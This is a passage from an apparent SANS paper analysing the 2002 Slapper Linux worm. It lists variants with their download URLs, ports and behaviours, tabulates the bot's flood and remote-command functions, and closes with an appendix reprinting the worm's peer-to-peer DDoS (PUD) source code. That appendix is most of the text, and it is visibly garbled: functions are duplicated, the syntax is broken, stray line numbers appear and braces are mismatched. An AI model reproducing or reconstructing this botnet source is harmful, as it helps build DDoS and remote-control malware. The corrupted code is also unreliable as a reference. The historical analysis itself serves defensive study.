<td>Date Reported</td>
<td>09/22/02</td>
</tr>
<tr>
<td>Files</td>
<td>/tmp/.unlock.c</td>
</tr>
<tr>
<td></td>
<td>/tmp/.update.c</td>
</tr>
<tr>
<td>Port</td>
<td>4156</td>
</tr>
</tbody>
</table>

Other differences from Slapper.A
- Payload delivered as “/tmp.unlock.uu” which is a uuencoded tar archive
- Opens a backdoor on TCP 1052
- Modifies cron entries
- Sends list of IP address via email
- Source compiled to /tmp/httpd (possibly to make less conspicuous in “ps” output)
- Presumed author: aion@ukr.net
- Version updated to “20092002”

<table>
<thead>
<tr>
<th>Name</th>
<th>Slapper-C</th>
</tr>
</thead>
<tbody>
<tr>
<td>Date Reported</td>
<td>09/23/02</td>
</tr>
<tr>
<td>Files</td>
<td>/tmp/cinik.c</td>
</tr>
</tbody>
</table>
Ports
<table>
<thead>
<tr>
<th>Name</th>
<th>Slapper-C2</th>
</tr>
</thead>
<tbody>
<tr>
<td>Date Reported</td>
<td>09/23/02</td>
</tr>
<tr>
<td>Files</td>
<td>Same as Slapper-C</td>
</tr>
<tr>
<td>Port</td>
<td>1812</td>
</tr>
</tbody>
</table>

Other differences from Slapper.A
- Possible author: CNIK
- Modifies cron entries
- Attempts to overwrite files in /tmp, /usr, /var, /home, /usr and /mnt
- Attempts to download source via wget from http://zamfy.home.ro/0/cinik.c
- Sends list of IP address via email
- Version updated to “18092002”

Other differences from Slapper.A (and Slapper.C)
- Corrected errors in creation script for “/tmp/.cinik.go”
- Attempts to download source via wget from http://titus.home.ro/images/cinik.c

There is also a SlapperII.A and SlapperII.A2. These, however, differ significantly from the original and were eventually classified as a separate branch. Common between SlapperII and Slapper.A is the fact that they exploit the same OpenSSL vulnerability.

Closing Thoughts
While Slapper’s infection rate and overall impact pales in comparison to that of the recent Sapphire/Slammer worm, Slapper is significant for a number of reasons.

One critical aspect is its demonstration of the shrinking window from vulnerability release to worm deployment. Slapper not only borrowed from existing frameworks (worm “engine” and exploit) but it created an improved framework that could be used in future worms. That does not just refer to the relatively minor changes that produced Slapper.B and Slapper.C. There is the potential for the Slapper framework to be implemented in a new worm, exploiting a new vulnerability, which in turn is an improvement on Slapper (much like Slapper improved on the mechanisms originally implemented in Scalper).

With the establishment of the peer-to-peer network, Slapper seems to have something of a “broader purpose”. The infection of the worm itself was not destructive, but it could have been more so. While the exploit employed only yields Apache owner privilege on the target server, that could have been used to exploit a local privilege escalation vulnerability. This is not to discount the significance of
Slapper’s DDoS potential. Certainly, the impact of the resources of several thousand servers brought to bear in a DDoS attack is considerable.

There are also a number of other ways in which Slapper could have been more effective in its infection/propagation. As indicated earlier, the fingerprinting mechanism could be improved. Recall also, that Slapper only infected Linux on Intel. The OpenSSL vulnerability that Slapper exploited impacted other architectures. It would have required more effort, but the appropriate shellcode and GOT addresses could have been developed to increase the number of potential targets.

Another troubling aspect underscored by Slapper is the fact that even with a known vulnerability and an available remedy (i.e., patches, preventative measures), a large percentage of the vulnerable population was slow to react. Many only doing so after Slapper was in circulation. It seems that the vulnerability alone was not enough of a motivating factor. It took the vulnerability plus an active exploit to prompt action.

In the long run, Slapper’s significance may not be measured in terms of its impact in September of 2002, but by the number of future significant worms that leverage it as a building block.

**Thanks and Credit**

I wanted to take this opportunity to acknowledge Max Vision’s “Ramen Internet Worm Analysis”. While not directly quoted in this paper, the document had a direct impact on this work. In researching this topic, I reviewed several articles and documents analyzing Slapper (and other Internet worms). Vision’s Ramen Analysis presented a structure that was very complete and thorough. So much so, that I immediately began framing this paper within that structure. Again, in the absence of any other direct reference, I wanted to be sure to acknowledge that influence.
Endnotes

1 Kerby, p. 5-3.


3 Nunes, Bugtraq post.

4 Goldsmith, Slapper Genealogy.

5 Contem, “Peer-to-peer UDP Distributed Denial of Service (PUD)”.

6 iDEFENCE Labs, “iDEFENSE Labs Analyzes Apache Worm”. Analysis section, par. 3.


9 OpenSSL Security Advisory, Vulnerabilities section, par. 7.

10 Perriot, “Linux/Slapper”.

11 Solar Eclipse, “README”.

12 Perriot, “Linux/Slapper”, “Double-take” section, par. 5.

13 Solar Eclipse, “README”. “fork() Is Your Friend” section, par. 5.


15 Sremack, “A Description of the OpenSSL Exploit”. Figure 1.


17 Sremack, “A Description of the OpenSSL Exploit”. Figure 2.

18 CERT. “Apache/mod_ssl Worm”, “Solution” section.


20 Caswell, “MISC slapper worm admin traffic”
References


Appendix A
Slapper Geneology
by: David Goldsmith  
dgoldsmith@sans.org

From  
http://isc.incidents.org/analysis.html?id=177

6/17/02
Apache Chunked
Encoding Vuln.

8/02
SSL
Vulnerability

| 07/01 |
| Knight |
| IRC Bot |

7/01
Knight
IRC Bot

8/02
Solar Eclipse
openssl-too-open.c

12/01
Kaiten
IRC Bot

+--------------------------+
V:11092002
contem@efnet
Gobbles

V:11092002
Solar Eclipse
openssl-too-open.c

12/01
Kaiten
IRC Bot

+--------------------------+
V:11092002
contem@efnet
Gobbles

V:11092002
Solar Eclipse
openssl-too-open.c

12/01
Kaiten
IRC Bot

© SANS Institute 2003, Author retains full rights.
Slapper.B - see http://isc.incidents.org/analysis.html?id=172
Slapper.C - see http://isc.incidents.org/analysis.html?id=173
Slapper.C2 - see http://isc.incidents.org/analysis.html?id=175

SlapperII.A - see http://isc.incidents.org/analysis.html?id=176
SlapperII.A2 - see http://isc.incidents.org/analysis.html?id=176
## Appendix B

### Slapper Commands

Description summaries from:

<table>
<thead>
<tr>
<th>Code</th>
<th>Name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x20</td>
<td>Info</td>
<td>This command retrieves various statistics about the bot, including the uptime of the bot, the current IP being scanned, and the version of the bot.</td>
</tr>
<tr>
<td>0x21</td>
<td>Open a bounce</td>
<td>This command is used to open a TCP port 1080 proxy on the bot that receives this command by default using the socks server parameter of the command packet.</td>
</tr>
<tr>
<td>0x22</td>
<td>Close a bounce</td>
<td>This command is used to close all of the open TCP port 1080 proxy connections to the clients.</td>
</tr>
<tr>
<td>0x23</td>
<td>Send a message to a bounce</td>
<td>This command is used to relay information back to a client system for the Modap network.</td>
</tr>
<tr>
<td>0x24</td>
<td>Run a command</td>
<td>This command is used to execute arbitrary system commands.</td>
</tr>
<tr>
<td>0x25</td>
<td>not used</td>
<td>Not implemented</td>
</tr>
<tr>
<td>0x26</td>
<td>Route</td>
<td>This command is used to obtain the routing information from other infected systems.</td>
</tr>
<tr>
<td>0x27</td>
<td>not used</td>
<td>Not implemented</td>
</tr>
<tr>
<td>0x28</td>
<td>List</td>
<td>This command is used to retrieve the list of servers.</td>
</tr>
<tr>
<td>0x29</td>
<td>Udp flood</td>
<td>This command floods the target with UDP packets of the user-defined size on the specified port for the requested amount of time. If a destination port is not specified, a random port is selected. The maximum size of the individual UDP flood datagrams is 9216 bytes.</td>
</tr>
<tr>
<td>0x2A</td>
<td>Tcp flood</td>
<td>This DoS tool connects to the TCP port specified, but does not actually send any data, it only opens a connection to the specified port. This command simply issues a connect() immediately followed by a close() call. The effect is a SYN flood of the target.</td>
</tr>
<tr>
<td>0x2B</td>
<td>IPv6 Tcp flood</td>
<td>This command is identical to the “0x2A – TCP SYN flood” case except that this flooder will flood with IPv6 packets.</td>
</tr>
<tr>
<td>0x2C</td>
<td>Dns flood</td>
<td>This is a DNS standard query DoS tool.</td>
</tr>
<tr>
<td>0x2D</td>
<td>Email scan</td>
<td>This command is used to retrieve email addresses from mailing list and other user</td>
</tr>
<tr>
<td>Code</td>
<td>Command</td>
<td>Description</td>
</tr>
<tr>
<td>------</td>
<td>------------------</td>
<td>---------------------------------------------------------------------------------------------------------------------------------------------</td>
</tr>
<tr>
<td>0x70</td>
<td>Incomming Client</td>
<td>This command causes the bot network to accept a newly infected system into its network.</td>
</tr>
<tr>
<td>0x71</td>
<td>Receive the list</td>
<td>This command takes the list of servers that it received and adds them to its server list.</td>
</tr>
<tr>
<td>0x72</td>
<td>Send the list</td>
<td>This command is used to get the recipient to send its server list back to the sender of the command.</td>
</tr>
<tr>
<td>0x73</td>
<td>Get my IP</td>
<td>This command is used to set the myip variable to the specified value and add the specified IP address to the bot’s infected server list. It should be noted that a machine infected with Modap will not actively scan for vulnerable machines until this variable is set.</td>
</tr>
<tr>
<td>0x74</td>
<td>Transmit their IP</td>
<td>Upon receipt of this command, the agent will test to ensure that the IP address is not a private address. The purpose of this command is not known, as the host issuing the command has to know the IP to send the command to. The reply of the command is only the IP of the recipient of the command. The issuer of the command does not gain any new information.</td>
</tr>
<tr>
<td>0x41</td>
<td>Relay to Client</td>
<td>These commands are used to get the bot to convey information back to the system stored in the routes[] array with the specified ID.</td>
</tr>
<tr>
<td>0x42</td>
<td>Relay to Client</td>
<td></td>
</tr>
<tr>
<td>0x43</td>
<td>Relay to Client</td>
<td></td>
</tr>
<tr>
<td>0x44</td>
<td>Relay to Client</td>
<td>Although each of these fall through to the same case statement due to the lack of a break statement in any of the 0x41 - 0x46 cases, each of these do have individual functions. The 0x41 - 0x43 cases, for example, are used to send signaling and connection data back to the attacker.</td>
</tr>
<tr>
<td>0x45</td>
<td>Relay to Client</td>
<td></td>
</tr>
<tr>
<td>0x46</td>
<td>Relay to Client</td>
<td></td>
</tr>
<tr>
<td>0x47</td>
<td>Relay to Client</td>
<td></td>
</tr>
</tbody>
</table>
Appendix C
Infection/Propagation Cycle
The following diagram was derived from “iDEFENSE Labs Analyzes Apache Worm” by iDEFENSE Labs. URL: [http://www.idefense.com/Intell/CI063002.html](http://www.idefense.com/Intell/CI063002.html).

Note: The iDEFENSE document analyzed the Apache Scalper worm. Scalper and Slapper have similar infection/propagation cycles. This diagram has been modified to reflect Slapper specific behavior.
Appendix D

Slapper source

Located at
URL: http://www.mail-archive.com/bugtraq@securityfocus.com/msg09082.html

 PPC

Peer-to-peer UDP Distributed Denial of Service (PUD)
by contem@efnet

Virtually connects computers via the udp protocol on the
specified port. Uses a newly created peer-to-peer protocol that
incorporates uses on unstable or dead computers. The program is
run with the parameters of another ip on the virtual network. If
running on the first computer, run with the ip 127.0.0.1 or some
other type of local address. Ex:

Computer A: ./program 127.0.0.1
Computer B: ./program Computer_A
Computer C: ./program Computer_A
Computer D: ./program Computer_C

Any form of that will work. The linking process works by
giving each computer the list of available computers, then
using a technique called broadcast segmentation combined with TCP
like functionality to insure that another computer on the network
receives the broadcast packet, segments it again and recreates
the packet to send to other hosts. That technique can be used to
support over 16 million simultaneously connected computers.

Thanks to ensane and st for donating shells and test beds
for this program. And for the admins who removed me because I
was testing this program (you know who you are) need to watch
their backs.

I am not responsible for any harm caused by this program!
I made this program to demonstrate peer-to-peer communication and
should not be used in real life. It is an education program that
should never be ran at all, nor used in any way, shape or
form. It is not the authors fault if it was used for any purposes
other than educational.

****************************************************************************/

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <stdlib.h>
#include <stdarg.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <unistd.h>
#include <errno.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <sys/wait.h>
#include <signal.h>

#define SCAN
#undef LARGE_NET
#undef FreeBSD
#define BROADCASTS  2
#define LINKS  128
#define CLIENTS  128
#define PORT  2002
#define SCANPORT  80
#define SCANTIMEOUT  5
#define MAXPATH  4096
#define ESCANPORT  10100

****************************************************************************/
#define VERSION 12092002

// Enums
enum { TCP_PENDING=1, TCP_CONNECTED=2, SOCKS_REPLY=3 };
enum { ASUCCESS=0, AREOLVE, ACONNECT, ASOCKET, ABIND, AINUSE, APENDING, AINSTANCE, AUNKNOWN };
enum { AREAD=1, AWRITE=2, AEXCEPT=4 };
struct header h;
struct addsrv_rec {
    struct header h;
};
struct initsrv_rec {
    struct header h;
};
struct qmyip_rec {
    struct header h;
};
struct myip_rec {
    unsigned long ip;
};
struct escan_rec {
    struct header h;
    unsigned long ip;
};
struct getinfo_rec {
    struct header h;
    unsigned long time;
    unsigned long mtime;
};
struct info_rec {
    struct header h;
    unsigned char a;
    unsigned char b;
    unsigned char c;
    unsigned char d;
    unsigned long ip;
    unsigned long uptime;
    unsigned long reqtime;
    unsigned long reqmtime;
    unsigned long in;
    unsigned long out;
    unsigned long version;
};

struct ainst {
    void *ext,*ext5;
    int ext2,ext3,ext4;
    int sock,error;
    unsigned long len;
    struct sockaddr_in in;
};
struct ainst clients[CLIENTS*2];
struct ainst udpclient;
unsigned int sseed=0;
struct route_table {
    int id;
    unsigned long ip;
    unsigned short port;
    routes[LINKS];
} routes[LINKS], *links=NULL, myip=0;
unsigned long numlinks, rsa[LINKS];
unsigned long long numpids=0;
unsigned long uptime=0, in=0, out=0;
int syncmodes=1;

struct mqueue {
    char *packet;
    unsigned long len;
    unsigned long id;
    unsigned long time;
    unsigned long ltime;
    unsigned short port;
    unsigned short trys;
    struct mqueue *next;
} queues=NULL;

#ifdef SCAN
#endif

© SANS Institute 2003, Author retains full rights.
```c
unsigned char classes[] = { 3, 4, 6, 8, 9, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 24, 25, 26, 28, 29,
 30, 32, 33, 34, 35, 38, 40, 43, 44, 45,
 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 61, 62, 63, 64, 65, 66, 67, 68, 80, 81, 128, 129, 130,
131, 132, 133, 134, 135, 136, 137, 138,
 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159,
160, 161, 162, 163, 164, 165, 166, 167,
168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188,
189, 190, 191, 192, 193, 194, 195, 196,
197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218,
 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229,
 230, 231, 232, 233, 234, 235, 236, 237, 238, 239 }; #endif

//////////////////////////////////////////////////////////////////////////////////////
//                               Public routines                                    //
//////////////////////////////////////////////////////////////////////////////////////
unsigned long gettimeout() { return 36+(numlinks/15); }

void syncmode(int mode) { syncmodes=mode; }

void gsrand(unsigned long s) { sseed=s; }

unsigned long grand() { sseed=((sseed*965764979)%65535)/2; return sseed; }

void nas(int a) { }

int mfork() {
    unsigned int parent, *newpids, i;
    parent=fork();
    if (parent <= 0) return parent;
    numpids++;
    newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
    for (i=0;i<numpids-1;i++) newpids[i]=pids[i];
    newpids[numpids-1]=parent;
    FREE(pids);
    pids=newpids;
    return parent;
}

char *aerror(struct ainst *inst) { if (inst == NULL) return "Invalid instance or socket";
    switch(inst->error) {
    case ASUCCESS:"Operation Success";
    case ARESOLVE:"Unable to resolve";
    case ACONNECT:"Unable to connect";
    case ASOCKET:"Unable to create socket";
    case APENDING:"Operation pending";
    case AUNKNOWN:"Unknown";
    }
    return "";
}

int aresolve(char *host) { struct hostent *hp;
    if (inet_addr(host) == 0 || inet_addr(host) == -1) {
        unsigned long a;
        if ((hp = gethostbyname(host)) == NULL) return 0;
        bcopy((char*)hp->h_addr, (char*)&a, hp->h_length);
        return a;
    } else return inet_addr(host);
}

int abind(struct ainst *inst,unsigned long ip,unsigned short port) { struct sockaddr_in sin;
    if (inst == NULL) return (AINSTANCE);
    inst->error=AINSTANCE;
```
return (AINSTANCE);

inst->len=0;
in.sin_family = AF_INET;
if (ip == NULL) in.sin_addr.s_addr = INADDR_ANY;
else in.sin_addr.s_addr = ip;
in.sin_port = htons(port);
if (bind(inst->sock, (struct sockaddr *)&in, sizeof(in)) < 0) {
    inst->error=ABIND;
    return (ABIND);
}

inst->error=ASUCCESS;
return ASUCCESS;
}

int await(struct ainst **inst,unsigned long len,char type,long secs) {
    struct timeval tm,*tmp;
    fd_set read,write,except,*readp,*writep,*exceptp;
    int p,ret,max;
    if (inst == NULL) return (AINSTANCE);
    for (p=0;p<len;p++) inst[p]->len=0;
    if (secs > 0) {
        tm.tv_sec=secs;
        tm.tv_usec=0;
        tmp=&tm;
    }
    else tmp=(struct timeval *)NULL;
    if (type & AREAD) {
        FD_ZERO(&read);
        for (p=0;p<len;p++) FD_SET(inst[p]->sock,&read);
        readp=&read;
    }
    else readp=(struct fd_set*)0;
    if (type & AWRITE) {
        FD_ZERO(&write);
        for (p=0;p<len;p++) FD_SET(inst[p]->sock,&write);
        writep=&write;
    }
    else writep=(struct fd_set*)0;
    if (type & AEXCEPT) {
        FD_ZERO(&except);
        for (p=0;p<len;p++) FD_SET(inst[p]->sock,&except);
        exceptp=&except;
    }
    else exceptp=(struct fd_set*)0;
    for (p=0,max=0;p<len;p++) if (inst[p]->sock > max) max=inst[p]->sock;
    if ((ret=select(max+1,readp,writep,exceptp,tmp)) == 0) {
        for (p=0;p<len;p++) inst[p]->error=APENDING;
        return (APENDING);
    }
    if (ret == -1) return (AUNKNOWN);
    for (p=0;p<len;p++) {
        if (type & AREAD) if (FD_ISSET(inst[p]->sock,&read)) inst[p]->len+=AREAD;
        if (type & AWRITE) if (FD_ISSET(inst[p]->sock,&write)) inst[p]->len+=AWRITE;
        if (type & AEXCEPT) if (FD_ISSET(inst[p]->sock,&except)) inst[p]->len+=AEXCEPT;
    }
    for (p=0;p<len;p++) inst[p]->error=ASUCCESS;
    return (ASUCCESS);
}

int atcp_sync_check(struct ainst *inst) {
    if (inst == NULL) return (AINSTANCE);
    inst->len=0;
    errno=0;
    if (connect(inst->sock, (struct sockaddr *)&inst->in, sizeof(inst->in)) == 0 || errno == EISCONN) {
        inst->error=ASUCCESS;
        return (ASUCCESS);
    }
    if (!((errno == EINPROGRESS || errno == EALREADY))) {
        inst->error=ACONNECT;
        return (ACONNECT);
    }
    inst->error=APENDING;
    return (APENDING);
}

int atcp_sync_connect(struct ainst *inst,char *host,unsigned int port) {
    int flag=1;
    struct hostent *hp;
    if (inst == NULL) return (AINSTANCE);
    inst->len=0;
    return (AINSTANCE);
if ((inst->sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
    inst->error=ASOCKET;
    return (ASOCKET);
}

if (inet_addr(host) == 0 || inet_addr(host) == -1) {
    if ((hp = gethostbyname(host)) == NULL) {
        inst->error=ARESOLVE;
        return (ARESOLVE);
    }
    bcopy((char*)hp->h_addr, (char*)&inst->in.sin_addr, hp->h_length);
}
else inst->in.sin_addr.s_addr=inet_addr(host);

if (inet_addr(host) == 0 || inet_addr(host) == -1) {
    if ((hp = gethostbyname(host)) == NULL) {
        inst->error=ARESOLVE;
        return (ARESOLVE);
    }
    bcopy((char*)hp->h_addr, (char*)&inst->in.sin_addr, hp->h_length);
}
else inst->in.sin_addr.s_addr=inet_addr(host);

inst->in.sin_family = AF_INET;
inst->in.sin_port = htons(port);

flag = fcntl(inst->sock, F_GETFL, 0);
flag |= O_NONBLOCK;
fcntl(inst->sock, F_SETFL, flag);

start=time(NULL);
while(time(NULL) - start < 10) {
    errno=0;
    if (connect(inst->sock, (struct sockaddr *)&inst->in, sizeof(struct ainst)) == 0 || errno == EISCONN) {
        inst->error=ASUCCESS;
        return (ASUCCESS);
    }
    if (!(errno == EINPROGRESS || errno == EALREADY)) break;
    sleep(1);
}

inst->error=ACONNECT;
return (ACONNECT);

int atcp_connect(struct ainst *inst, char *host, unsigned int port) {
    int flag=1;
    unsigned long start;
    struct hostent *hp;
    if (inst == NULL) return (AINSTANCE);
    inst->len=0;
    if ((inst->sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
        inst->error=ASOCKET;
        return (ASOCKET);
    }
    if (inet_addr(host) == 0 || inet_addr(host) == -1) {
        if ((hp = gethostbyname(host)) == NULL) {
            inst->error=ARESOLVE;
            return (ARESOLVE);
        }
        bcopy((char*)hp->h_addr, (char*)&inst->in.sin_addr, hp->h_length);
    }
    else inst->in.sin_addr.s_addr=inet_addr(host);
    inst->in.sin_family = AF_INET;
    inst->in.sin_port = htons(port);
    flag = fcntl(inst->sock, F_GETFL, 0);
    flag |= O_NONBLOCK;
    fcntl(inst->sock, F_SETFL, flag);
    start=time(NULL);
    while(time(NULL) - start < 10) {
        errno=0;
        if (connect(inst->sock, (struct sockaddr *)&inst->in, sizeof(struct ainst)) == 0 || errno == EISCONN) {
            inst->error=ASUCCESS;
            return (ASUCCESS);
        }
    }
    inst->error=ACONNECT;
    return (ACONNECT);
}

int atcp_accept(struct ainst *inst, struct ainst *child) {
    int sock;
    unsigned int datalen;
    if (inst == NULL || child == NULL) return (AINSTANCE);
    datalen=sizeof(child->in);
    inst->len=0;
    memcpy((void*)child, (void*)inst, sizeof(struct ainst));
    if ((sock=accept(inst->sock, (struct sockaddr *)&child->in, &datalen)) < 0) {
        memset((void*)child, 0, sizeof(struct ainst));
        inst->error=APENDING;
        return (APENDING);
    }
    child->sock=sock;
    inst->len=datalen;
    inst->error=ASUCCESS;
    return (ASUCCESS);
}

int atcp_send(struct ainst *inst, char *buf, unsigned long len) {
    long datalen;
    if (inst == NULL) return (AINSTANCE);
    inst->len=0;
    return (ASUCCESS);
}

int atcp_send(struct ainst *inst, char *buf, unsigned long len) {
    long datalen;
    if (inst == NULL) return (AINSTANCE);
    inst->len=0;
    return (ASUCCESS);
}
errno=0;
if ((datalen=write(inst->sock,buf,len)) < len) {
  if (errno == EAGAIN) {
    inst->error=APENDING;
    return (APENDING);
  } else {
    inst->error=AUNKNOWN;
    return (AUNKNOWN);
  }
}
inst->len=datalen;
inst->error=ASUCCESS;
return (ASUCCESS);

int atcp_sendmsg(struct ainst *inst, char *words, ...) {
  static char textBuffer[2048];
  unsigned int a;
  va_list args;
  va_start(args, words);
  a=vsprintf(textBuffer, words, args);
  va_end(args);
  return atcp_send(inst,textBuffer,a);
}

int atcp_recv(struct ainst *inst,char *buf,unsigned long len) {
  long datalen;
  if (inst == NULL) return (AINSTANCE);
  inst->len=0;
  if ((datalen=read(inst->sock,buf,len)) < 0) {
    if (errno == EAGAIN) {
      inst->error=APENDING;
      return (APENDING);
    } else {
      inst->error=AUNKNOWN;
      return (AUNKNOWN);
    }
  }
  inst->len=datalen;
  inst->error=ASUCCESS;
  return (ASUCCESS);
}

int atcp_close(struct ainst *inst) {
  if (inst == NULL) return (AINSTANCE);
  inst->len=0;
  if (close(inst->sock) < 0) {
    inst->error=AUNKNOWN;
    return (AUNKNOWN);
  }
  inst->sock=0;
  inst->error=ASUCCESS;
  return (ASUCCESS);
}

int audp_listen(struct ainst *inst,unsigned int port) {
  int flag=1;
  if (inst == NULL) return (AINSTANCE);
  inst->len=0;
  if (bind(inst->sock, (struct sockaddr *)&inst->in, sizeof(inst->in)) < 0) {
    inst->error=ABIND;
    return (ABIND);
  }
  inst->in.sin_family = AF_INET;
  inst->in.sin_addr.s_addr = htonl(INADDR_ANY);
  inst->in.sin_port = htons(port);
  if (bind(inst->sock, (struct sockaddr *)&inst->in, sizeof(inst->in)) < 0) {
    inst->error=ABIND;
    return (ABIND);
  }
  #ifdef O_DIRECT
  flag = fcntl(inst->sock, F_GETFL, 0);
  flag |= O_DIRECT;
  fcntl(inst->sock, F_SETFL, flag);
  #endif
  return (ASUCCESS);
}
int audp_setup(struct ainst *inst, char *host, unsigned int port) {
    int flag = 1;
    struct hostent *hp;
    if (inst == NULL) return (AINSTANCE);
    inst->len=0;
    inst->sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP) < 0) {
        inst->error=ASOCKET;
        return (ASOCKET);
    }
    if (inst->sock == socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP) < 0) {
        inst->error=ASOCKET;
        return (ASOCKET);
    }
    inst->error=ASUCCESS;
    return (ASUCCESS);
}

int audp_relay(struct ainst *parent, struct ainst *inst, char *host, unsigned int port) {
    struct hostent *hp;
    if (inst == NULL) return (AINSTANCE);
    inst->len=0;
    inst->sock = parent->sock; // Assuming that parent->sock is set
    if (inet_addr(host) == 0 || inet_addr(host) == -1) {
        if ((hp = gethostbyname(host)) == NULL) {
            inst->error=ARESOLVE;
            return (ARESOLVE);
        }
        bcopy((char*)hp->h_addr, (char*)&inst->in.sin_addr, hp->h_length);
    }
    else inst->in.sin_addr.s_addr=inet_addr(host);
    inst->in.sin_family = AF_INET;
    inst->in.sin_port = htons(port);
    inst->error=ASUCCESS;
    return (ASUCCESS);
}

int audp_send(struct ainst *inst, char *buf, unsigned long len) {
    long datalen;
    if (inst == NULL) return (AINSTANCE);
    inst->len=0;
    if ((datalen=sendto(inst->sock, buf, len, 0, (struct sockaddr*)&inst->in,sizeof(inst))) < len) {
        if (errno == EAGAIN) {
            inst->error=APENDING;
            return (APENDING);
        }
        else {
            inst->error=AUNKNOWN;
            return (AUNKNOWN);
        }
    }
    out++; // Assuming that out is incremented
    inst->len=datalen;
    inst->error=ASUCCESS;
    return (ASUCCESS);
}

int audp_sendmsg(struct ainst *inst, char *words, ...) {
    static char textBuffer[2048];
    unsigned int a;
    va_list args;
    va_start(args, words);
    a=vsprintf(textBuffer, words, args);
    va_end(args);
    // Additional code for sendmsg
    return (ASUCCESS);
}
int audp_send(struct ainst *inst, textBuffer, a);

int audp_recv(struct ainst *inst, struct ainst *client, char *buf, unsigned long len) {
    long datalen, nlen;
    if (inst == NULL) return (AINSTANCE);
    nlen = sizeof(inst->in);
    inst->len = 0;
    memcpy((void*)client, (void*)inst, sizeof(struct ainst));
    if ((datalen = recvfrom(inst->sock, buf, len, 0, (struct sockaddr*)&client->in, (size_t*)&nlen)) < 0) {
        if (errno == EAGAIN) {
            inst->error = APENDING;
        return (APENDING);
        } else {
            inst->error = AUNKNOWN;
        return (AUNKNOWN);
        }
    }
    inst->len = datalen;
    inst->error = ASUCCESS;
    return (ASUCCESS);
}

int audp_close(struct ainst *inst) {
    if (inst == NULL) return (AINSTANCE);
    inst->len = 0;
    if (close(inst->sock) < 0) {
        inst->error = AUNKNOWN;
    return (AUNKNOWN);
    } else {
    inst->sock = 0;
    inst->error = ASUCCESS;
    return (ASUCCESS);
}

unsigned long _decrypt(char *str, unsigned long len) {
    unsigned long pos = 0, seed[4] = {0x78912389, 0x094e7bc43, 0xba5de30b, 0x7bc54da7};
    srand(((seed[0] + seed[1]) * seed[2]) ^ seed[3]);
    while (1) {
        srand(seed[pos % 4] + rand() + pos);
        str[pos] = rand();
        pos++;
        if (pos >= len) break;
    }
    return pos;
}

unsigned long _encrypt(char *str, unsigned long len) {
    unsigned long pos = 0, seed[4] = {0x78912389, 0x094e7bc43, 0xba5de30b, 0x7bc54da7};
    srand(((seed[0] + seed[1]) * seed[2]) ^ seed[3]);
    while (1) {
        srand(seed[pos % 4] + rand() + pos);
        str[pos] = rand();
        pos++;
        if (pos >= len) break;
    }
    return pos;
}

int useseq(unsigned long seq) {
    unsigned long a;
    if (seq == 0) return 0;
    for (a = 0; a < LINKS; a++)
        if (sequence[a] == seq)
        return 1;
    return 0;
}

unsigned long newseq() {
    unsigned long seq;
    while (1) {
        seq = (rand() * rand()) ^ rand();
        if (useseq(seq) || seq == 0) continue;
        break;
    }
    return seq;
}

void addseq(unsigned long seq) {
    unsigned long i;
    for (i = LINKS - 1; i > 0; i--)
        sequence[i] = sequence[i - 1];
    sequence[0] = seq;
711 }
712 void addserver(unsigned long server)
713 {
714     unsigned long *newlinks, i, stop;
715     char a=0;
716     for (i=0;i<numlinks;i++) if (links[i] == server) a=1;
717     if (a == 1 || server == 0) return;
718     numlinks++;
719     newlinks=(unsigned long*)malloc((numlinks+1)*sizeof(unsigned long));
720     if (newlinks == NULL) return;
721     stop=rand()%numlinks;
722     for (i=0;i<stop;i++) newlinks[i]=links[i];
723     newlinks[i]=server;
724     for (j=numlinks-1;j>i++) newlinks[j]=links[j];
725     free(links);
726     links=newlinks;
727 }
728 void conv(char *str, int len,unsigned long server) {
729     memset(str,0,len);
730     strcpy(str,(char*)inet_ntoa(*(struct in_addr*)&server));
731 }
732 }
733 int isreal(unsigned long server) {
734     char srv[256];
735     unsigned int i,f;
736     unsigned char a=0,b=0;
737     conv(srv,256,server);
738     for (i=0;i<strlen(srv) && srv[i]!='.';i++);
739     srv[i]=0;
740     a=atoi(srv);
741     f=i+1;
742     for (i++;i<strlen(srv) && srv[i]!='.';i++);
743     srv[i]=0;
744     b=atoi(srv+f);
745     if (a == 127 || a == 10 || a == 0) return 0;
746     if (a == 172 && b >= 16 && b <= 31) return 0;
747     if (a == 192 && b == 168) return 0;
748     return 1;
749 }
750 }
751 u_short in_cksum(u_short *addr, int len) {
752     register int nleft = len;
753     register u_short *w = addr;
754     register int sum = 0;
755     u_short answer =0;
756     while (nleft > 1) {
757         sum += *w++;
758         nleft -= 2;
759     }
760     if (nleft == 1) {
761         *(u_char *)(&answer) = *(u_char *)w;
762         sum += answer;
763     }
764     sum = (sum >> 16) + (sum & 0xffff);
765     sum += (sum >> 16);
766     answer = ~sum;
767     return(answer);
768 }
769 }
770 int usersa(unsigned long rs) {
771     unsigned long a;
772     if (rs == 0) return 0;
773     for (a=0;a<LINKS;a++) if (rsa[a] == rs) return 1;
774     return 0;
775 }
776 }
777 unsigned long newrsa() {
778     unsigned long rs;
779     while(1) {
780         rs=(rand()<<rand())^rand();
781         if (usersa(rs) || rs == 0) continue;
782     break;
783     }
784     return rs;
785 }
786 }
787 void addrsa(unsigned long rs) {
788     unsigned long i;
789     for (i=LINKS-1;i>0;i--) rsa[i]=rsa[i-1];
790     rsa[0]=rs;
void delqueue(unsigned long id) {
    struct mqueue *getqueue=queues, *prevqueue=NULL;
    while(getqueue != NULL) {
        if (getqueue -> id == id) {
            getqueue -> tries--;
            if (!getqueue -> tries) {
                if (prevqueue) prevqueue -> next = getqueue -> next;
                else queues = getqueue -> next;
                prevqueue = getqueue;
                getqueue = getqueue -> next;
